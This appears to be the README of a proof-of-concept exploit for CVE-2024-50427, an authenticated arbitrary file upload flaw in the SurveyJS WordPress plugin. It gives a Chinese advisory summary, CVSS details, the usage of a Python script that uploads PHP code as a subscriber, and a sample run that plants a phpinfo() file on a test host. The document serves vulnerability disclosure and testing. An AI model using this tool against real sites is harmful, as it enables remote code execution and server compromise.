SurveyJS: Drag & Drop WordPress Form Builder <= 1.9.136 - 已验证(订阅者+)任意文件上传
WordPress 插件 SurveyJS: Drag & Drop WordPress Form Builder(用于创建、样式化并嵌入多种复杂表单)在所有版本(1.9.136 及更早版本)中因缺少文件类型验证,导致存在任意文件上传漏洞。这使得经过身份验证的攻击者(具有订阅者级别及以上访问权限)能够在受影响站点的服务器上上传任意文件,从而可能实现远程代码执行。
Published: 2024-10-24 00:00:00
CVE: CVE-2024-50427
CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSS Score: 8.8
Slugs: surveyjs
usage: CVE-2024-50427.py [-h] [--code CODE] url username password
Upload a PHP file to a WordPress site.
positional arguments:
url The URL of the WordPress site (e.g., http://example.com)
username Your WordPress username
password Your WordPress password
options:
-h, --help show this help message and exit
--code CODE PHP code to execute
$ python3 CVE-2024-50427.py http://kubernetes.docker.internal [email protected] user --code "phpinfo();"
Login successful.
File uploaded successfully.
http://kubernetes.docker.internal/wp-content/uploads/surveyjs/158718452672e02bd1d7212.25114025.php